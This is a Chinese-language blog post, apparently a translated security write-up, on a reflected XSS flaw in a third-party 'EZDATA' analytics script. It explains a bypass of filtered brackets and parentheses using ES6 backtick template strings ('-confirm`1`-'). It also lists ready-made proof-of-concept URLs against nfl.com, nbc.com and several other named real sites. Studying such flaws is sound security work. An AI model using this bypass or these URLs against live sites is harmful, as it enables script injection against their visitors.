在写这篇文章的时候,我并不清楚该脚本的作者是谁,但有很多的网站有这个漏洞。在这篇文章中,我将对"EZDATA"这个不安全的脚本进行分析。
我是在浏览Alexa top 500网站时发现的这个脚本。
有漏洞的JavaScript脚本如下:
<script> ezQuery(document).ready(function() { //get here EZDATA.trackGaEvent('Search','Request','可控点'); }); </script>
接下来在真实的案例中看下这个脚本
(1)NFL.COM
该网站在Alexa全球网站排名中的排名为261。如果你在该网站的搜索框中输入无害的探测字符(比如xxxxxxxx'yyyyy</img),链接如下:
<a href="http://search.nfl.com/search?query=\" xxxxxxxx'yyyyy<=">http://search.nfl.com/search?query="xxxxxxxx'yyyyy</img
然后查看源码如下
你可以看到用户的输入被单引号(‘)所包裹,而对用户提交的单引号(‘)却没有过滤和编码,还有你也可以看到<被过滤了,所以类似 </script><script>confirm(1)</script>这样的攻击方式就失效了。那么我能想到的下一个payload就是
'-confirm(1)-'
链接如下:
http://search.nfl.com/search?query='-confirm(1)-'
我期待这个payload能够生效,然而并没有。原因如下图
从图中可以看到括号()被过滤了,所以才导致payload失效。
ECMAScript 6(http://tc39wiki.calculist.org/es6/)提供了一个叫multi-ine template string(https://developer.mozilla.org/enUS/docs/Web/JavaScript/Reference/template_strings)的属性,在这个属性的帮助下,可以构造不需要括号()的payload,用反引号“来替换括号(),所以payload变成:
'-confirm`1`-'
所以最终的链接如下:
http://search.nfl.com/search?query='-confirm`1`-'
结果如下
(2)NBC.COM
这个网站用的也是EZDATA这个脚本,所以链接如下:
http://www.nbc.com/search?q='-confirm`1`-'
结果如图
(3)其他网站
通过在NerdyData(https://search.nerdydata.com/code)这个网站进行搜索,链接如下:
https://search.nerdydata.com/code/?and_code[]=//get+here+EZDATA.trackGaEvent&limit=0,10&rank_min=1&rank_max=1000001
发现有61个网站使用该脚本,部分网站
http://search.pionline.com/search?q=%27-confirm%601%60-%27
http://media.kisw.com/search?q=%27-confirm%601%60-%27
http://media.wben.com/search?q=%27-confirm%601%60-%27
http://media.wwl.com/search?q=%27-confirm%601%60-%27
http://media.989therock.com/search?q=%27-confirm%601%60-%27
http://media.endonline.com/search?q=%27-confirm%601%60-%27
http://media.1057fmthefan.com/search?q=%27-confirm%601%60-%27
http://media.espn929.com/search?q=%27-confirm%601%60-%27
http://search.msgvarsity.com/search?search=y&q=%27-confirm%601%60-%27
http://video.ramp.com/search?q=%27-confirm`1`-%27
尾记:目前这些应该都已经修复,这篇文章只是第一弹,该博客作者以分析+实例演示的方法为我们展示了XSS的很多可能出现形式,后续还会更精彩,敬请期待。